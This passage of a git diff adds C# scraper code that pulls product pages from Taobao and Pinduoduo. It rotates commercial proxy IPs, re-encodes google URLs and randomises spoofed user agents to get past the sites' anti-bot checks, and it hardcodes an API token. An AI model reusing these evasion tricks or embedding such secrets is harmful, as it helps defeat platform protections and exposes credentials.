/// + /// 获取代理地址 + /// + /// + /// + public static string GetProxyUrl(string url) + { + if (String.IsNullOrEmpty(url)) + return null; + if (BaseClass.Proxy.Count == 0) + { + BaseClass.ViewCode += "代理异常"; + return url; + } + Random ra = new Random(); + string p = BaseClass.Proxy[ra.Next(BaseClass.Proxy.Count)]; + return "http://" + p + "/url=" + url.Replace(".google.", ".goo00gle.") + .Replace("?", "%3f").Replace("=", "%3d").Replace("&", "%26"); + } + + + public static List ProxyIpList = new List(); + + /// + /// 服务器代理采集 + /// + /// + /// + public static string GetProxyServer(string url, string needString) + { + string html = GetProxyServerx(url); + if (string.IsNullOrEmpty(html) || !html.Contains(needString)) + html = GetProxyServerx(url); + if (string.IsNullOrEmpty(html) || !html.Contains(needString)) + html = GetProxyServerx(url); + if (string.IsNullOrEmpty(html) || !html.Contains(needString)) + html = GetProxyServerx(url); + return html; + } + + /// + /// 服务器代理采集 + /// + /// + /// + private static string GetProxyServerx(string url) + { + if (ProxyIpList.Count < 10) + return ""; + string ip = ProxyIpList[Randomx.GetId(ProxyIpList.Count)]; + WebClientx webClient = new WebClientx(); + try + { + webClient.Timeout = 10; + webClient.Headers.Add("Accept-Encoding", "gzip,deflate"); + webClient.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0)"); + webClient.Proxy = new WebProxy(ip); + byte[] b = webClient.DownloadData(url); + b = ZipHelper.Decompress(b); + string html = Encoding.GetEncoding("UTF-8").GetString(b); + return html; + } + catch (Exception e) + { + LogSave.AddView(url + " 错误:" + e.Message.Replace("\r\n", " ")); + return null; + } + finally + { + try + { + webClient.Dispose(); + webClient = null; + } + catch + { + } + } + } + public static string RequestImg(string url, byte[] imgData) + { + HttpWebResponse response = null; + var responseText = ""; + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url); + request.KeepAlive = true; + request.Headers.Set(HttpRequestHeader.CacheControl, "max-age=0"); + request.Headers.Add("Origin", url); + request.Headers.Add("Upgrade-Insecure-Requests", @"1"); + request.ContentType = "multipart/form-data; boundary=----WebKitFormBoundaryg0ATB1h6Pa505OBi"; + request.UserAgent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36"; + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate, br"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + request.Method = "POST"; + request.ServicePoint.Expect100Continue = false; + string body = "------WebKitFormBoundaryg0ATB1h6Pa505OBi\r\n" + +"Content-Disposition: form-data; name=\"file\"; filename=\"search.jpg\"\r\n" + +"Content-Type: image/jpeg\r\n\r\n" + +"filedata\r\n" + +"------WebKitFormBoundaryg0ATB1h6Pa505OBi--\r\n"; + WriteMultipartBodyToRequest(request, body, imgData); + + response = (HttpWebResponse)request.GetResponse(); + } + catch (WebException e) + { + if (e.Status == WebExceptionStatus.ProtocolError) response = (HttpWebResponse)e.Response; + else return "error: " + e.Message; + } + catch (Exception ex) + { + if (response != null) response.Close(); + return "error: " + ex.Message; + } + if (response != null) + { + responseText = ReadResponse(response); + response.Close(); + } + return responseText; + } + /// + /// 读取返回值 + /// + /// + /// + private static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + + private static void WriteMultipartBodyToRequest(HttpWebRequest request, string body, byte[] data) + { + string[] multiparts = Regex.Split(body, @""); + byte[] bytes; + using (MemoryStream ms = new MemoryStream()) + { + foreach (string part in multiparts) + { + if (part == "filedata") // 文件信息 + { + bytes = data; + } + else + { + bytes = System.Text.Encoding.UTF8.GetBytes(part.Replace("\r\n", "\n").Replace("\r", "\n").Replace("\n", "\r\n")); + } + ms.Write(bytes, 0, bytes.Length); + } + + request.ContentLength = ms.Length; + using (Stream stream = request.GetRequestStream()) + { + ms.WriteTo(stream); + } + } + } + } +} diff --git a/AllBase/GetProxyHtml.cs b/AllBase/GetProxyHtml.cs new file mode 100644 index 0000000..6bc9f4f --- /dev/null +++ b/AllBase/GetProxyHtml.cs @@ -0,0 +1,1753 @@ +using NaiBa.Util.Extension; +using Newtonsoft.Json; +using Newtonsoft.Json.Linq; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Globalization; +using System.IO; +using System.IO.Compression; +using System.Linq; +using System.Net; +using System.Security.Cryptography; +using System.Text; +using System.Text.RegularExpressions; +using System.Threading; + +namespace AllBase +{ + public class GetProxyHtml + { + private static string headerKey = "Authorization"; + public static string ProxyIpKey = "proxy_ip_pingduoduo"; + + public static WebProxy proxyObject; + + public static List ips = new List(); + + public static string txtUrl = "";// "http://125.88.158.218:1800/ip/list/line/test001"; + + public static string orderId = ""; + + public static int loopCount = 15; + + public static int jinbaoCount = 8; + + public static int ipCount = 8; + + public static int oldindex = -1; + + public static List UserAgentList = new List(); + public static List LastIpList { get; set; } // 上一次获取的所有IP,用来判断本次获取是否是重复的 + + public static int IpIndex { get; set; } + public static string[] IpList { get; set; } + + private static bool IsInit() + { + if (IpList == null || IpList.Length == 0 || IpIndex > IpList.Length - 1) + { + return true; + } + else + { + return false; + } + } + + public static DateTime lastGetTime = DateTime.Now; + public static void Init() // 火箭ip获取 + { + while (lastGetTime.AddSeconds(4) > DateTime.Now) + { + Thread.Sleep(50 + Randomx.GetId(100)); + } + lastGetTime = DateTime.Now; + + IpIndex = 0; + string proxyIpHtml = UploadTaobaoPost(txtUrl, "", true, "", false, "");//http://125.88.158.218:1800/ip/list/test/4185_158905271 http://125.88.158.218:1800/ip/list/line/test001 + int tryTimes = 0; + int maxTryTimes = 10; + while (true && tryTimes <= maxTryTimes) + { + if (!string.IsNullOrEmpty(proxyIpHtml)) + { + ips = proxyIpHtml.Split(new string[] { "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries).Select(p => p.Trim()).ToList(); + if (LastIpList == null || LastIpList.Count == 0) + { + break; + } + else + { + // 确保本次获取的ip和上一次的不一样 + if (LastIpList.Where(p => ips.Contains(p)).Count() != LastIpList.Count) + { + break; + } + } + } + if (proxyIpHtml.Contains("远程服务器返回错误: (888)")) + break; + tryTimes++; + Thread.Sleep(1000); + } + CloseIp(LastIpList); + if (ips != null) + { + LastIpList = ips; + IpList = ips.ToArray(); + } + } + public static WebProxy GetIPSProxyQueue() + { + if (string.IsNullOrEmpty(txtUrl)) + return null; + int AgainCount = 0; + Again: + if (IsInit()) + { + Init(); + } + if (IpList.Length == 0) + { + if (AgainCount < 2) + { + AgainCount++; + Thread.Sleep(50); + goto Again; + } + } + WebProxy webProxy = null; + if (IpList.Length == 0) + return webProxy; + string ip = IpList[IpIndex]; + string[] ipArr = ip.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries); + switch (ipArr.Length) + { + case 2: + webProxy = new WebProxy(ipArr[0], ipArr[1].ParseToInt()); + break; + + case 4: + webProxy = new WebProxy(ipArr[0], ipArr[1].ParseToInt()); + webProxy.Credentials = new NetworkCredential(ipArr[2], ipArr[3]); + break; + } + return webProxy; + } + + /// + /// 获取火箭IP + /// + /// + /// + public static WebProxy GetIPSProxyQueue(out string message) + { + message = ""; + if (string.IsNullOrEmpty(txtUrl)) + return null; + int AgainCount = 0; + Again: + if (IsInit()) + { + Init(); + } + if (IpList.Length == 0) + { + if (AgainCount < 1) + { + AgainCount++; + Thread.Sleep(50); + goto Again; + } + } + WebProxy webProxy = null; + if (IpList.Length == 0) + return webProxy; + string ip = IpList[IpIndex]; + string[] ipArr = ip.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries); + switch (ipArr.Length) + { + case 2: + webProxy = new WebProxy(ipArr[0], ipArr[1].ParseToInt()); + break; + + case 4: + webProxy = new WebProxy(ipArr[0], ipArr[1].ParseToInt()); + webProxy.Credentials = new NetworkCredential(ipArr[2], ipArr[3]); + break; + } + if (ip.Contains("远程服务器返回错误: (888)")) + message = "888"; + return webProxy; + } + public static void GetIPS() + { + if (string.IsNullOrEmpty(txtUrl)) + return; + string htmlx = UploadTaobaoPost(txtUrl, "", true, "", false, ""); + List striparr = htmlx.Split(new string[] { "\r\n" }, StringSplitOptions.None).ToList(); + striparr = striparr.Where(s => !string.IsNullOrEmpty(s)).ToList(); + if (striparr.Count < 5) + return; + ips = striparr; + } + public static void GetIPSProxy() + { + if (string.IsNullOrEmpty(txtUrl)) + return; + string htmlx = UploadTaobaoPost(txtUrl, "", true, "", false, ""); + List striparr = htmlx.Split('\n').ToList(); + striparr = striparr.Where(s => !string.IsNullOrEmpty(s)).ToList(); + if (striparr.Count < 5) + return; + ips = striparr; + } + public static List GetIPSProxyObject() + { + if (string.IsNullOrEmpty(txtUrl)) + return null; + string htmlx = UploadTaobaoPost(txtUrl, "", true, "", false, ""); + List striparr = htmlx.Split('\n').ToList(); + striparr = striparr.Where(s => !string.IsNullOrEmpty(s)).ToList(); + if (striparr.Count < 5) + return null; + return striparr; + } + public static string RequestUrl_TaoBao_com(long lProdId, string uri, string[] UserAgentListout, out bool IsOverdue) + { + IsOverdue = false; + int count = 0; + try + { + Again: + count++; + HttpWebResponse response = null; + try + { + //string UserAgentTemp = UserAgentList[new Random().Next(UserAgentList.Count())]; + //if (!string.IsNullOrEmpty(UserAgentTemp) && !UserAgentTemp.Contains("MicroMessenger")) + //{ + // UserAgentTemp = UserAgentTemp.Insert(new Random().Next(UserAgentTemp.Length), "MicroMessenger" + Guid.NewGuid().ToString().Replace("-", "").Substring(0, new Random().Next(5))); + //} + //HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://goods.66daili.cn/api/goods/taobao-api/?orderid=" + GetProxyHtml.orderId + "&token=5AF433ED506FA475&goodID=" + lProdId); + //HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://ecdata-api.66daili.cn/api/ecdata/taobao/detail/?orderid=" + GetProxyHtml.orderId + "&token=5AF433ED506FA475&itemID=" + lProdId); + //HttpWebRequest request = (HttpWebRequest)WebRequest.Create($"http://ecdata-api.66daili.cn/ecdata/api/detail/?orderid={orderId}&token=5AF433ED506FA475&itemID={lProdId}"); + //HttpWebRequest request = (HttpWebRequest)WebRequest.Create($"http://ec-private.66daili.cn/api/private/detail/?orderid={orderId}&token=5AF433ED506FA475&item_id={lProdId}"); + HttpWebRequest request = (HttpWebRequest)WebRequest.Create($"http://ecdata-api.66daili.cn/api/common/vip/get/?orderid={orderId}&token=5AF433ED506FA475&item_id={lProdId}"); + request.Timeout = 7000; + request.KeepAlive = true; + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9,en;q=0.8"); + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; + request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8"; + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip,deflate"); + response = (HttpWebResponse)request.GetResponse(); + } + catch (Exception ex) + { + + } + if (response != null) + { + string result = ReadResponse(response); + result = UnicodeDecode(result); + //return result; + if (result.Contains("order expire or not exist") || result.Contains("orderid empty")) + { + IsOverdue = true; + return ""; + } + if (result.Contains("categoryId") || result.Contains("\"dataType\": \"v") || result.Contains("调用成功")) + { + return UnicodeDecode(result); + } + if (result.Contains("mtop.taobao.detail.getdesc")) + { + return result; + } + else + { + if (count < 100) + { + SleepCommon(); + goto Again; + } + } + } + else + { + if (count < 100) + { + SleepCommon(); + goto Again; + } + } + return ""; + } + catch + { + return ""; + } + } + public static ProxyTypeEnum GetProxyType(string proxyUrl) + { + ProxyTypeEnum proxyType = ProxyTypeEnum.Unknown; + proxyUrl = proxyUrl.ParseToString().Trim(); + if (proxyUrl.Contains("125.88.158.218")) + { + proxyType = ProxyTypeEnum.RocketDaiLi; + } + else if (proxyUrl.Contains("66daili.cn")) + { + proxyType = ProxyTypeEnum.SixSixDaiLi; + } + else if (proxyUrl.Contains("kdlapi.com")) + { + proxyType = ProxyTypeEnum.KuaiDaiLi; + } + return proxyType; + } + + private static List listIp = new List(); + private static int UseCount = 0; + private static readonly object obj = new object(); + public static string Request_yangkeduo_com(string sIpAndPort, long lProdId, string[] UserAgentList, out bool IsOverdue, bool IsBreak = false) + { + IsOverdue = false; + int count = 0; + try + { + if (IsBreak) + { + return ""; + } + if (UseCount >= 50 && listIp.Count > 0)//代理ip 使用超过150次 才去请求一次ip + { + listIp.Clear(); + } + Again: + lock (obj) + { + if (listIp.Count() <= 0) + { + listIp = InitIp(sIpAndPort, out IsOverdue); + UseCount = 0; + } + } + if (IsOverdue) + { + return ""; + } + string ProxyIP = listIp[new Random().Next(0, listIp.Count)]; + UseCount++; + count++; + HttpWebResponse response = null; + try + { + string UserAgentTemp = UserAgentList[new Random().Next(UserAgentList.Count())]; + if (!string.IsNullOrEmpty(UserAgentTemp) && !UserAgentTemp.Contains("MicroMessenger")) + { + UserAgentTemp = UserAgentTemp.Insert(new Random().Next(UserAgentTemp.Length), "MicroMessenger" + Guid.NewGuid().ToString().Replace("-", "").Substring(0, new Random().Next(5))); + } + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("http://mobile.yangkeduo.com/goods.html?goods_id=" + lProdId); + request.Timeout = 5000; + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9,en;q=0.8"); + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; + request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8"; + request.UserAgent = UserAgentTemp; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "deflate"); + System.Net.WebProxy proxy = GetWebProxy(ProxyIP); + request.Proxy = proxy; + response = (HttpWebResponse)request.GetResponse(); + } + catch (Exception) + { + + } + if (response != null) + { + string result = ReadResponse(response); + if (result.Contains("mallID")) + { + return UnicodeDecode(result); + } + if (result.Contains("runtime error: index out of range [1] with length 0")) + { + return "runtime error: index out of range [1] with length 0"; + } + else + { + if (count <3) + { + SleepCommon(); + goto Again; + } + if (count==3) + { + SleepCommon(); + listIp.Clear(); + goto Again; + } + } + } + else + { + if (count<3) + { + SleepCommon(); + goto Again; + } + if (count == 3) + { + SleepCommon(); + listIp.Clear(); + goto Again; + } + } + return ""; + } + catch(Exception ex) + { + return ""; + } + } + /// + /// SHA1字符串加密 + /// + /// 需要加密字符串 + /// 返回40位大写字符串 + private static string SHA1(string input) + { + try + { + using (System.Security.Cryptography.SHA1CryptoServiceProvider sha1 = new System.Security.Cryptography.SHA1CryptoServiceProvider()) + { + string result = ""; + byte[] btInput = System.Text.Encoding.UTF8.GetBytes(input); + byte[] btOut = sha1.ComputeHash(btInput); + for (int i = 0; i < btOut.Length; i++) + { + result += btOut[i].ToString("x2"); + } + return result; + } + } + catch + { + throw; + } + } + + + /// + /// Base64加密 + /// + /// 加密采用的编码方式 + /// 待加密的明文 + /// + private static string Base64Encode(Encoding encodeType, string source) + { + string encode = string.Empty; + byte[] bytes = encodeType.GetBytes(source); + try + { + encode = Convert.ToBase64String(bytes); + } + catch + { + encode = source; + } + return encode; + } + public static string RequestUrl_yangkeduo_com(long lProdId, string[] UserAgentListout, out bool IsOverdue) + { + IsOverdue = false; + int count = 0; + try + { + Again: + count++; + string token = "5AF433ED506FA475"; + HttpWebResponse response = null; + try + { + //string UserAgentTemp = UserAgentList[new Random().Next(UserAgentList.Count())]; + //if (!string.IsNullOrEmpty(UserAgentTemp) && !UserAgentTemp.Contains("MicroMessenger")) + //{ + // UserAgentTemp = UserAgentTemp.Insert(new Random().Next(UserAgentTemp.Length), "MicroMessenger" + Guid.NewGuid().ToString().Replace("-", "").Substring(0, new Random().Next(5))); + //} + //HttpWebRequest request = (HttpWebRequest)WebRequest.Create($"http://mobile.yangkeduo.com/goods.html?goods_id={lProdId}"); + //HttpWebRequest request = (HttpWebRequest)WebRequest.Create($"http://ec-api.66daili.cn/api/ecdata/pdd/detail/?orderid={orderId}&token={token}&goodid={lProdId}"); + HttpWebRequest request = (HttpWebRequest)WebRequest.Create($"http://ec-api.66daili.cn/api/common/async/detail?orderid={orderId}&token={token}&goodid={lProdId}"); + request.Timeout = 7000; + //request.Proxy = new WebProxy("ytunnel.66daili.cn", 23313); + //string sign = SHA1($"{lProdId}|{orderId}|{BaseClass.ProxyToken}|66yitu"); + //request.Headers.Add("x-sign", sign); + //request.Headers.Add("Proxy-Authorization", "Basic " + Base64Encode(Encoding.UTF8, $"{orderId}:{BaseClass.ProxyToken}")); + request.KeepAlive = true; + request.Headers.Set(HttpRequestHeader.CacheControl, "max-age=0"); + request.Headers.Add("Upgrade-Insecure-Requests", @"1"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"; + request.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"; + request.Headers.Set(HttpRequestHeader.AcceptEncoding, "gzip, deflate"); + request.Headers.Set(HttpRequestHeader.AcceptLanguage, "zh-CN,zh;q=0.9"); + response = (HttpWebResponse)request.GetResponse(); + } + catch (Exception ex) + { + + } + if (response != null) + { + string result = ReadResponse(response); + if (result.Contains("order expire or not exist")) + { + IsOverdue = true; + return ""; + } + if (result.Contains("mall_id") || result.Contains("mallId") || result.Contains("mallID")) + { + return UnicodeDecode(result); + } + else + { + if (count < 50) + { + SleepCommon(); + goto Again; + } + } + } + else + { + if (count < 20) + { + SleepCommon(); + goto Again; + } + } + return ""; + } + catch + { + return ""; + } + } + public static void SleepCommon(int number = 100) + { + Thread.Sleep(number / 2 + Randomx.GetId(number)); + } + private static byte[] Keys = { 0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF }; + public static string DESDecode(string source, string sKey) + { + try + { + byte[] inputByteArray = System.Convert.FromBase64String(source);//Encoding.UTF8.GetBytes(source); + using (DESCryptoServiceProvider des = new DESCryptoServiceProvider()) + { + des.Key = ASCIIEncoding.ASCII.GetBytes(sKey); + des.IV = Keys; + System.IO.MemoryStream ms = new System.IO.MemoryStream(); + using (CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write)) + { + cs.Write(inputByteArray, 0, inputByteArray.Length); + cs.FlushFinalBlock(); + cs.Close(); + } + string str = Encoding.UTF8.GetString(ms.ToArray()); + ms.Close(); + return str; + } + } + catch (Exception ex) + { + return ""; + } + } + public static WebProxy GetOne66Ip(string FormName = "") + { + var IsOverdue = false; + lock (obj) + { + Thread.Sleep(500); + if (listIp.Count() <= 0) + { + Thread.Sleep(3000); + listIp = InitIp(GetProxyHtml.txtUrl, out IsOverdue); + if (IsOverdue) + { + LogSave.Add(FormName, "代理Ip过期或套餐不存在"); + return null; + } + } + } + if (listIp.Count > 0) + { + string ProxyIP = listIp[0]; + listIp.Remove(listIp[0]); + return GetWebProxy(ProxyIP); + } + return null; + } + /// + /// 66代理ip获取 + /// + /// + /// + /// + public static List InitIp(string ProxyUrl, out bool IsOverdue) + { + IsOverdue = false; + if (listIp.Count > 0) + { + return listIp; + } + HttpParam httpParm = new HttpParam { Url = ProxyUrl }; + SetAuthorization(httpParm); + string proxyIpHtml = string.Empty; + List proxyIpList = new List(); + int tryTimes = 0; + int maxTryTimes = 3; + while (true && tryTimes <= maxTryTimes) + { + proxyIpHtml = GetUtf8(httpParm); + if (proxyIpHtml.Contains("过期") || proxyIpHtml.Contains("套餐不存在")) + { + IsOverdue = true; + break; + } + if (!string.IsNullOrEmpty(proxyIpHtml) && !proxyIpHtml.Contains("后获取") && !proxyIpHtml.Contains("过期") && !proxyIpHtml.Contains("套餐不存在")) + { + proxyIpList = proxyIpHtml.Split(new string[] { "\r", "\n" }, StringSplitOptions.RemoveEmptyEntries).Select(p => p.Trim()).ToList(); + break; + } + tryTimes++; + Thread.Sleep(3000); + } + return proxyIpList; + } + public static void SetAuthorization(HttpParam httpParam) + { + if (httpParam.Header == null) + { + httpParam.Header = new Dictionary(); + } + long timeStamp = GetUnixSecondTimeStamp(DateTime.Now) + BaseClass.TimeDifferent; + string hexadecimalTimeStamp = timeStamp.ToString("X"); + string token = HMACSHA256(hexadecimalTimeStamp, ProxyIpKey).ToUpper(); + AddHeader(httpParam, headerKey, string.Format("{0}|{1}", hexadecimalTimeStamp, token)); + } + public static void AddHeader(HttpParam httpParam, string key, string value) + { + if (httpParam.Header == null) + { + httpParam.Header = new Dictionary(); + } + httpParam.Header.Remove(key); + httpParam.Header.Add(key, value); + } + + + public static string GetUtf8(HttpParam param) + { + if (string.IsNullOrEmpty(param.Url)) + { + return string.Empty; + } + try + { + WebClient webClient = GetWebClient(param); + byte[] b = webClient.DownloadData(param.Url); + return Encoding.UTF8.GetString(b); + } + catch (Exception ex) + { + return string.Empty; + } + } + public static WebClientx GetWebClient(HttpParam param) + { + using (WebClientx webClient = new WebClientx()) + { + if (param.Proxy != null) + { + webClient.Proxy = param.Proxy; + } + if (param.Timeout > 0) + { + webClient.Timeout = param.Timeout; + } + else + { + webClient.Timeout = 60; + } + if (string.IsNullOrEmpty(param.Accept)) + { + webClient.Headers.Add("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); + } + else + { + webClient.Headers.Add("Accept", param.Accept); + } + if (string.IsNullOrEmpty(param.ContentType)) + { + webClient.Headers.Add("Content-Type", "application/x-www-form-urlencoded;charset=UTF-8"); + } + else + { + webClient.Headers.Add("Content-Type", param.ContentType); + } + if (string.IsNullOrEmpty(param.AcceptLanguage)) + { + webClient.Headers.Add("Accept-Language", "zh-CN,zh;q=0.9,en;q=0.8"); + } + else + { + webClient.Headers.Add("Accept-Language", param.AcceptLanguage); + } + if (string.IsNullOrEmpty(param.UserAgent)) + { + webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36"); + } + else + { + webClient.Headers.Add("User-Agent", param.UserAgent); + } + if (!string.IsNullOrEmpty(param.Referer)) + { + webClient.Headers.Add("Referer", param.Referer); + } + webClient.Headers.Remove("Cookie"); + if (!string.IsNullOrEmpty(param.Cookie)) + { + webClient.Headers.Add("Cookie", param.Cookie); + } + if (param.Header != null) + { + foreach (string key in param.Header.Keys) + { + webClient.Headers.Add(key, param.Header[key]); + } + } + return webClient; + } + } + public static WebProxy GetWebProxy(string ip = "") + { + WebProxy webProxy = null; + try + { + if (!string.IsNullOrEmpty(ip)) + { + string[] ipArr = ip.Split(new string[] { " ", ":" }, StringSplitOptions.RemoveEmptyEntries); + switch (ipArr.Length) + { + case 2: + webProxy = new WebProxy(ipArr[0], ipArr[1].ParseToInt()); + break; + + case 4: + webProxy = new WebProxy(ipArr[0], ipArr[1].ParseToInt()); + webProxy.Credentials = new NetworkCredential(ipArr[2], ipArr[3]); + break; + } + return webProxy; + } + } + catch (Exception ex) + { + } + return webProxy; + } + public static string ReadResponse(HttpWebResponse response) + { + using (Stream responseStream = response.GetResponseStream()) + { + Stream streamToRead = responseStream; + if (response.ContentEncoding.ToLower().Contains("gzip")) + { + streamToRead = new GZipStream(streamToRead, CompressionMode.Decompress); + } + else if (response.ContentEncoding.ToLower().Contains("deflate")) + { + streamToRead = new DeflateStream(streamToRead, CompressionMode.Decompress); + } + + using (StreamReader streamReader = new StreamReader(streamToRead, Encoding.UTF8)) + { + return streamReader.ReadToEnd(); + } + } + } + public static string UnicodeDecode(string html) + { + html = WebUtility.HtmlDecode(html); + + Regex reUnicode = new Regex(@"\\u([0-9a-fA-F]{4})", RegexOptions.Compiled); + return reUnicode.Replace(html, m => + { + short c; + if (short.TryParse(m.Groups[1].Value, NumberStyles.HexNumber, CultureInfo.InvariantCulture, out c)) + { + return "" + (char)c; + } + return m.Value; + }); + } + public static void CloseIp(List ipList) + { + ProxyTypeEnum proxyType = GetProxyType(txtUrl); + if (proxyType == ProxyTypeEnum.RocketDaiLi) + { + if (ipList != null && ipList.Any()) + { + try + { + Uri uri = new Uri(txtUrl); + string url = string.Format("{0}://{1}:{2}", uri.Scheme, uri.Host, uri.Port); + string userName = uri.Segments[uri.Segments.Length - 1]; + string ip = ipList.FirstOrDefault().Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries)[0]; + int[] portArr = ipList.Select(p => p.Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries)[1].ParseToInt()).ToArray(); + + string URL = url + "/ip/list/close"; + string PostData = JsonConvert.SerializeObject(new { userName = userName, ip = ip, ports = JsonConvert.SerializeObject(portArr) }); + //ContentType = "application/json; charset=UTF-8"; + string html = UploadTaobaoPost(URL,URL,true, PostData,false,""); + } + catch + { + + } + } + } + } + + public static bool CheckProxyStatus(out string message) + { + bool isProxyAvailable = true; + message = ""; + try + { + if (!string.IsNullOrEmpty(txtUrl)) + { + ProxyTypeEnum proxyType = GetProxyType(txtUrl); + if (proxyType == ProxyTypeEnum.RocketDaiLi) + { + Uri uri = new Uri(txtUrl); + string url = string.Format("{0}://{1}:{2}", uri.Scheme, uri.Host, uri.Port); + string userName = uri.Segments[uri.Segments.Length - 1]; + string Url = url + "/user/info/" + userName; + string html = UploadTaobaoPost(Url, "", true, "", false, ""); + if (!string.IsNullOrEmpty(html)) + { + JObject json = JObject.Parse(html); + long timeStamp = GetUnixSecondTimeStamp(DateTime.Now) + BaseClass.TimeDifferent; + long validity = json["user"]["validity"].ParseToString().ParseToLong(); + if (validity > 0 && timeStamp > validity) + { + isProxyAvailable = false; + message = "代理ip已过期"; + } + else + { + var proxyObject = GetProxyHtml.GetIPSProxyQueue(out message); + if (proxyObject == null) + { + isProxyAvailable = false; + if (message.Contains("888")) + message = "当前电脑ip不在代理ip白名单内,请到网页后台白名单管理中设置。"; + else + message = "未获取到代理ip"; + } + else + { + int httpStatus = GetJsonPostStatus(txtUrl); + if (httpStatus == 888) + { + CloseIp(LastIpList); + isProxyAvailable = false; + message = "当前电脑ip不在代理ip白名单内,请到网页后台白名单管理中设置。"; + } + } + } + } + } + } + } + catch + { + } + return isProxyAvailable; + } + + public static WebProxy GetNewWebProxy(string ip) + { + //if (ips.Count == 0) + // return null; + //Random ra = new Random(Guid.NewGuid().GetHashCode()); + //int index = ra.Next(ips.Count); + //if (index == oldindex) + //{ + // index = index + 1; + // if (index >= ips.Count) + // index = 0; + //} + //oldindex = index; + //string ip = ips[ra.Next(ips.Count)]; + if (string.IsNullOrEmpty(ip)) + return null; + string[] address = Regex.Split(ip, "\\s+", RegexOptions.IgnoreCase); + var proxyObject = new WebProxy(address[0], int.Parse(address[1])); + string sUserName = address[2]; + string sPwd = address[3]; + proxyObject.Credentials = new NetworkCredential(sUserName, sPwd); + return proxyObject; + } + + public static WebProxy GetWebProxy() + { + if (ips.Count == 0) + return null; + Random ra = new Random(Guid.NewGuid().GetHashCode()); + string ip = ips[ra.Next(ips.Count)]; + if (!ip.Contains(":")) + return null; + string[] address = ip.Split(':'); + proxyObject = new WebProxy(address[0], int.Parse(address[1])); + return proxyObject; + } + + public static string UploadNewProxyTaobao(string url, string refere, bool isUtf8, string cookies, WebProxy proxyObject) + { + return UploadTaobaoNewPost(url, refere, isUtf8, "", false, cookies, proxyObject); + } + public static string UploadNewProxyTaobaoPost(string url, string refere, bool isUtf8, string data, string cookies, WebProxy proxyObject) + { + //GetNewWebProxy(); + //if (proxyObject == null) + // return ""; + return UploadTaobaoPost(url, refere, isUtf8, data, false, cookies, proxyObject); + } + + public static string UploadProxyTaobao(string url, string refere, bool isUtf8, string cookies) + { + GetWebProxy(); + if (proxyObject == null) + return ""; + return UploadTaobaoPost(url, refere, isUtf8, "", false, cookies, proxyObject); + } + public static string UploadProxyTaobaoPost(string url, string refere, bool isUtf8, string data, string cookies) + { + GetWebProxy(); + if (proxyObject == null) + return ""; + return UploadTaobaoPost(url, refere, isUtf8, data, false, cookies, proxyObject); + } + + public static string GetHtmlUrl(string url) + { + try + { + GetWebProxy(); + if (proxyObject == null) + return ""; + string userAgen = "android Mozilla/5.0 (Linux; Android 4.4.2; HUAWEI MLA-AL10 Build/HUAWEIMLA-AL10) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 phh_android_version/3.23.0 phh_android_build/228842 phh_android_channel/qihu360"; + WebClientx web = new WebClientx(); + web.Headers.Add("Accept", "*/*"); + web.Headers.Add("Accept-Language", "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"); + web.Headers.Add("User-Agent", userAgen); + web.Headers.Add("Referer", url); + string h = web.Headers.ToString(); + web.Proxy = proxyObject; + byte[] b = web.DownloadData(url); + return Encoding.UTF8.GetString(b); + } + catch (Exception e) + { + return ""; + } + } + + public static string UploadTaobaoPost(string url, string refere, bool isUtf8, string data, bool isPost, + string cookies, WebProxy proxyObject) + { + bool againt = false; + try + { + cookies = GetCookies(url, cookies); + if 